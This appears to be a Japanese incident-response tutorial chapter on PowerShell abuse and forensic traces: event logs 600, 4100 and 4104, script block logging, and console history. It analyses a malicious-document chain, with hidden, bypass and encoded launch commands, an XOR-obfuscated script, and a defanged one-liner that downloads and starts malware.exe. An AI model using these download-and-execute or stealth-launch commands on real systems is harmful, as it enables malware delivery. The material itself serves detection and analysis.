14章

1 PowerShell実行痕跡の解析

PowerShellの概要と攻撃への悪用

PowerShell(Windows PowerShell)は、Microsoft社が提供するWindows 7以降のOSに標準で搭載されています。従来のコマンドラインツール(cmd.exe)では提供されない、システム管理機能に長けていることが大きな特徴の一つです。またスクリプト言語としての開発もしやすく、Microsoft社は高機能なCLIツールとして利用を推奨しています。

PowerShellは、Microsoft社が提供する開発プラットフォームの「.NET Framework(ドットネット・フレームワーク)」上で動作しています。.NET Frameworkは、概念としてOSとアプリケーションの間の仮想的な階層に存在し、アプリケーションからOSに対してさまざまな処理命令を実行できる「クラス・ライブラリ」という機能群(API)を提供します。クラス・ライブラリを利用した.NET Frameworkアプリケーションは、プログラミング言語の「C#」や「Visual Basic」などによって開発されています。一方、PowerShellは、クラス・ライブラリを利用したさまざまな機能を、従来のコマンドのようにコンソールから入力できる「コマンドレット」として提供しています。

次のリストは、PowerShellにより、スクリプトファイル(test.ps1)をインターネットからダウンロードして実行する例です。

###################
## 1.ダウンロード
PS > Invoke-WebRequest hxxp://xxx.example.com/test.ps1 -outfile .\test.ps1

###################
## 2.ダウンロードしたファイルの確認(ディレクトリリスト表示)
PS > Get-ChildItem .\

    ディレクトリ: C:\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        2022/04/19     10:29             13 test.ps1

###################
## 3.ダウンロードしたファイルの内容表示
PS > Get-Content .\test.ps1
Get-Process

###################
## 4. スクリプトファイルの実行
PS > Invoke-Expression .\test.ps1

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    231      15     3120      13912       0.36  15156   0 aesm_service
    229      21     3912      13408      11.94   6060   0 AppleMobileDeviceService
    400      24    15416      31112       0.14   4956   6 ApplicationFrameHost
    127       8     1588       6152       0.02   6040   0 armsvc
    728      51   112172     147324      98.00    272   6 atmgr
    246      14    65276      25484       0.28  10632   0 audiodg
    562      29    23452       1484       0.59   8684   6 Calculator

上記1~3の各コマンドレットでは、次の処理を行っています。

  1. ウェブサイトから、PCのローカルディスクへスクリプトファイルをダウンロード(Invoke-WebRequestコマンドレット)
    • ダウンロードURL:hxxp://xxx.example.com/test.ps1

      ※ PowerShellのスクリプトファイル(cmd.exeでは、batファイルに該当)は、拡張子が「.ps1」

  2. ダウンロードしたスクリプトファイルを確認(Get-ChildItemコマンドレット)
    • カレントディレクトリに test.ps1 が保存されている
  3. ダウンロードしたスクリプトファイルを表示(Get-Contentコマンドレット)
    • test.ps1 のスクリプトの内容は、プロセス一覧を表示する「Get-Process」コマンドレットの1行のみ
  4. スクリプトファイルを実行(Invoke-Expressionコマンドレット)

コマンドレットには、長い名称の省略や他のコマンドラインツールと互換性をもつために、エイリアスという別名が付与されています。コマンドレット名からエイリアスを調べる場合は、PowerShellのコンソールから次のように入力します。

Get-Alias -definition ”コマンドレット名”

例えば、先の例で紹介した「Get-ChildItem」(ディレクトリ等の一覧表示)には「gci」という省略形のほか、「dir」「ls」という、WindowsコマンドやLinuxコマンドとして馴染み深いエイリアスがあります。

また、サイバー攻撃で多用される「Invoke-Expression」(スクリプト実行)には、「iex」というエイリアスがあります。なお、Windows OS では、基本的にアルファベットの大文字と小文字は区別されませんので、「IEX」「iex」「Iex」のいずれでも実行できます。

次のリストは、Get-Aliasコマンドレットで上記のエイリアスを確認した結果です。

PS >  Get-Alias -definition Get-ChildItem

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           dir -> Get-ChildItem
Alias           gci -> Get-ChildItem
Alias           ls -> Get-ChildItem


PS >  Get-Alias -definition Invoke-Expression

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           iex -> Invoke-Expression

なお、エイリアスから逆引きする場合は、以下のように入力します。

PS > Get-Alias -name iwr

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           iwr -> Invoke-WebRequest


また、PowerShellは、「Windows PowerShell」アプリのコンソールから実行するだけではなく、cmd.exe のコマンドプロンプト(従来のコマンドラインツール)からも実行できます。

コマンドプロンプトからPowerShellを実行する場合は、次のリストのように「powershell」コマンドの引数として、コマンドレットやスクリプトファイルを指定します。

## コマンドレットの実行
> powershell -Command "Get-ChildItem C:\Temp"
※ 「-Command」は「-c」と省略可、またデフォルトオプションのため指定しなくてもよい 

## スクリプトファイルの実行
> powershell -File "C:\Temp\test.ps1"
※ 「-File」は「-f」と省略可

PowerShellは、その利便性により一般的な普及が進む一方、攻撃者にとっても有益な機能が多いため、サイバー攻撃に悪用されるケースが増えています。

近年では、WordやExcel等、MS Office文書ファイルのマクロから、密かにPowerShellを呼び出してマルウェアのダウンロードや起動を行うなど、初期侵入のフェーズでの悪用が増加しています。セキュリティ関係のリサーチャーやベンダーの中では、そのような悪性の文書は「Maldoc(マルドック)」と呼ばれています(以降、攻撃者が利用する悪性の文書ファイルを「Maldoc」と呼びます)。

攻撃者が悪用する代表的なPowerShellコマンドレットを、次に例示します。

ダウンロード

  • Invoke-WebRequest

    • 構文 Invoke-WebRequest [-Uri] (URI) [-out (保存ファイル名)]

    • エイリアス

      iwr , wget , curl

  • WebClientクラス(New-Objectコマンドレットでインスタンス化して使用)

    • 構文 WebClientインスタンス.DownloadFile( "(URI)", "(保存ファイルパス)" )
    • 実行例
    PS > $url = "http://xxx.example.com/test.ps1"
    PS > $wc = New-Object System.Net.WebClient
    PS > $wc.DownloadFile($url, "C:\Temp\test2.ps1")
    

スクリプトの実行

  • Invoke-Expression

    • 構文 Invoke-Expression [-Command] (コマンドString) [(コマンドの引数)]

    • エイリアス

      iex

  • Invoke-Command

    • 構文

      Invoke-Command [-FilePath] (スクリプトファイル名)

    • エイリアス

      icm

実行ファイルの起動

  • Start-Process

    • 構文 Start-Process [-FilePath] (実行ファイル名) [-ArgumentList] (実行ファイルの引数)

    • エイリアス

      saps , start

  • Invoke-Item

    • 構文 Invoke-Item [-Path] (実行ファイル名)

    • エイリアス

      ii

ファイル操作

  • Copy-Item(複写)

    • 構文 Copy-Item [-Path] (コピー元ファイル名) [-Destination] (コピー先ファイル名)

    • エイリアス

      copy , cp , cpi

  • Move-Item(移動)

    • 構文 Move-Item [-Path] (移動元ファイル名) [-Destination] (移動先ファイル名)

    • エイリアス

      mi , move , mv

  • Remove-item(削除)

    • 構文 Remove-Item [-Path] (削除するファイル名)

    • エイリアス

      del , erase , rd , ri , rm , rmdir

  • Rename-Item(リネーム)

    • 構文 Rename-Item [-Path] (元のファイル名) [-NewName] (リネーム後のファイル名)

    • エイリアス

      ren , rni


また、攻撃者がMaldocに仕込んだPowerShellスクリプトを実行させる際、cmd.exeから「powershell」コマンドでスクリプトを起動(powershell ”コマンドレット”)するような実装が多用されています。その際、正規利用者に気づかれないよう、ディスプレイに表示されるコンソールウィンドウの抑止、スクリプト実行制限の回避、スクリプト難読化などを実現するため、次のような実行オプションが使用されます。

実行オプション

  • -NoProfile(省略形: -nop)
    • プロファイル設定を読み込まない
  • -NonIteractive(省略形: -noni)
    • 対話的なプロンプトを表示しない
  • -WindowStyle hidden(省略形: -w hidden)
    • スクリプト実行時にコンソールウィンドウを表示しない
  • -ExecutionPolicy Bypass(省略形: -ep bypass)
    • すべてのスクリプト実行制限を無視し、エラーや確認メッセージの表示を抑制
  • -EncodedCommand(省略形: -en、-enc、-e)
    • Base64でエンコード(難読化)されたPowerShellスクリプトの実行


以下は、典型的なMaldocによる起動コマンドの例です。実行するコマンドレットはBase64で難読化(「KAAgAE4A…」)されており、一見しただけではコマンドの目的がわからないようにしています。

cmd.exe /c powershell -nop -noninteractive -windowstyle hidden -executionpolicy bypass -en KAAgAE4AZQBXAC0AbwBiAEoARQBjAFQAIAAgAFMAWQBTAHQARQBNA...(以下、省略)


PowerShellを利用した攻撃の例

攻撃者の常套手段として、ばらまき型のなりすましメールや標的型攻撃メールに、WordやExcelの文書ファイルに偽装したMaldocを添付して、侵入を試みる方法があります。またメールフィルターを回避するために、ファイルをパスワード付きZIPで圧縮したり、ファイルを添付せずURLリンクのみを記載して、ターゲットにMaldocをダウンロードさせる方法も観測されています。いずれも、業務上の重要な文書であるかのように装うなどして、ターゲットがMaldocを開くよう誘導します。

Maldocにより、ターゲットのPCでスクリプトを起動するためには、WordやExcelの自動実行マクロが多用されます。自動実行マクロでは、VBS/VBA等のスクリプトからPowerShellを呼び出すことで、マルウェア本体のダウンロードや起動を行うパターンが観測されています。

Microsoft社の対策により、MS Officeのデフォルト設定でマクロ実行は無効化されるようになりました。しかし攻撃者が、ターゲットにマクロを有効化させるよう、デコイ文書(偽装文書)で有効化ボタンのクリックを誘導する工作もみられます。

(マクロ有効化を誘導するデコイ文書の例)

l-1_01.png

ターゲットがマクロを有効化してしまうと、悪性のスクリプトが実行されます。

(実行されるVBAスクリプトのサンプル)

l-1_02.png

上記例のVBAでは、Base64でエンコード(難読化)したPowerShellスクリプトが、文字列連結処理で生成されたうえ、WScript.ShellインスタンスのRunメソッドで実行されます。実行されるPowerShellスクリプトは、次のような内容です。

cMd /c pOWeRshELl -wINdoWstYlE hIdDEn -en  LQBKAG8AaQBuACgAIAAnADIANgB7ADY...(以下、省略)

cmd.exeからpowershellを呼び出すコマンド部分は、アルファベットの大文字と小文字をランダムに使用することで、読みにくくされています。小文字にそろえてみましょう。

cmd /c powershell -windowstyle hidden -en  LQBKAG8AaQBuACgAIAAnADIANgB7ADY...(以下、省略)

「-en」オプション以降の、実行されるPowerShellスクリプト部分(LQBKAG8A・・・以下)をBase64デコードすると、次のような内容になります。

-Join( '26{61n37n60~56@54-126}4c54a49{1...【中略】...54'.SPlIT( 'oac}-mn~@{' ) |forEaCh-OBJeCt{ [CHAr]( $_ -bxoR "0x53") }) | invOkE-ExPrEsSioN

このように、Base64デコードしたPowerShellスクリプトも、文字列連結やバイナリ変換などの方法で、さらに難読化されているケースもあります。

上の例で、デコードしたスクリプト末尾の「invOkE-ExPrEsSioN」は、大文字小文字を適切にそろえると「Invoke-Expression」ですので、スクリプトを実行するコマンドレットです。難読化されたスクリプトは、最終的にパイプでInvoke-Expressionコマンドレットに送られ、実行されることがわかります。

このMaldocを実際に動的解析環境で開くと、外部サイトから実行ファイルをダウンロードして起動するスクリプトが実行されます。最終的にInvoke-Expressionに送られて実行されるのは、以下のワンライナー(「;」で複数のコマンドレットを区切り、1行で記述したスクリプト)です。

※ 安全のため、一部の文字列を改変しています。

Invoke-WebRequest hxxp://example[.]cdi/payload.txt -OutFile $env:TEMP\malware.exe;Start-Process $env:TEMP\malware.exe


攻撃者は、このような多重の難読化により、ターゲットやリサーチャーによる検知や解析を回避しようとします。また、偽装したショートカットファイル(.lnk)のリンク先に、難読化した悪性スクリプトを仕込むという手口もみられます。


(偽装したショートカットファイルの例)

l-1_02-1.png


上記例では、実際のファイル名は「Security-Alart.pdf.lnk」ですが、エクスプローラーのUI上では上図のように、PDFファイルに錯誤するようなショートカット名(Security-Alart.pdf)が表示されます。これをPDFファイルと誤信して、ダブルクリックで開こうとすると、リンク先に登録されたコマンド(難読化されたPowerShellスクリプト)が実行されます。

インシデント調査では、スクリプトが難読化されている可能性を念頭において、実行履歴や痕跡の解析にのぞむ必要があります。


PowerShellが実行された痕跡

イベントログ

インシデント対応において、PowerShellの実行履歴を確認する場合、イベントログの調査が有効な方法です。なお、Windows OSやPowerShellのバージョンにより、PowerShell関連イベントの監査がデフォルトで無効になっている場合があります。その場合は、イベントログにPowerShellの実行履歴が記録されません。組織内のサーバーやPCについては、グループポリシーやイベントビューアーで監査の有効/無効を確認し、有効化しておくことを推奨します。

PowerShellの実行履歴が記録されるイベントログのカテゴリは、次の2種類です。

1. Windows PowerShell

  • イベントID:600(プロバイダの開始)などに、実行されたPowerShellスクリプトが記録されます。PowerShellの実行履歴を確認するにあたっては、重要かつ有用なアーティファクトです。

  • 記録されるイベントログ・ファイル名

    • Windows PowerShell.evtx

l-1_03.png


2. Microsoft-Windows-PowerShell Operational

  • イベントID:4100 (パイプラインの実行)に、実行エラー等の警告が出されたPowerShellスクリプトや、エラー内容などが記録されます。エラー内容には、難読化が解除された形のコマンドレットが表示される場合もあります。正常に実行された場合は記録されませんが、攻撃のタイムラインを追ううえで、補助的なアーティファクトとしての活用を推奨します。
  • 記録されるイベントログ・ファイル名
    • Microsoft-Windows-PowerShell%4Operational.evtx

l-1_04.png

また、PowerShell 5.0以降では、新たに「スクリプトブロックのログ記録」機能が追加されました。スクリプトブロックのログ記録が有効になっている場合、イベントID:4104(Scriptblockテキストの作成)に、実際に実行された平文のスクリプトが記録されます。

l-1_05.png

スクリプトブロックのログ記録は、デフォルトでは無効化されていますが、次のレジストリキーの追加もしくはグループポリシー設定により有効化できます。

  • レジストリキー
    • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1 (DWORD)
  • グループポリシー
    • 管理用テンプレート ー Windowsコンポーネント ー Windows PowerShell ー PowerShellスクリプトブロックのログ記録を有効にする

イベントログの調査方法

上記で示したとおり、PowerShellの実行履歴は、イベントビューアーで参照できます。ログ件数が大量でなければ、イベントビューアーの検索やフィルター機能で調査が可能でしょう。

大量のログから痕跡を調査する場合は、インシデントレスポンスの主な調査対象となるイベントを一括して抽出(クエリ)できる、Microsoft社提供の「Log Parser Studio」などを活用しましょう。

実際に不審なスクリプトの実行履歴を調査する具体的な手法については、後続の Hands-on-1 で紹介します。

PowerShellコンソールのHistoryファイル

PowerShellの実行履歴は、イベントログのほかにも、各ユーザー別のHistoryファイルに記録される場合があります。LinuxシェルのコマンドHistoryと同様のものと考えてよいでしょう。ただし、利用者や攻撃者が、Windows PowerShellアプリのコンソールから実行したものに限ります。

Maldocのマクロなどから実行された場合は、記録される可能性が低いでしょう。しかし、正規ユーザーが実行したものをイベントログの調査対象から除外するために参照するなど、インシデント対応に活用されるケースも想定されます。

Historyファイルは、各ユーザープロファイルの、次のファイルに記録されます。

  • フォルダ
    • C:\Users\<ユーザー>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
  • ファイル名
    • ConsoleHost_history.txt

(Historyファイルの記録例)

pwd
Get-Help Invoke-WebRequest
cd c:\
cls
$datafile = .\axd2_data\
$datafile = ".\axd2_data"
Get-Childitem -r $datafile| measure-object | findstr Count
Get-Childitem -r $datafile | Where-Object { $_.PSIsContainer } | measure-object | findstr Count

results matching ""

    No results matching ""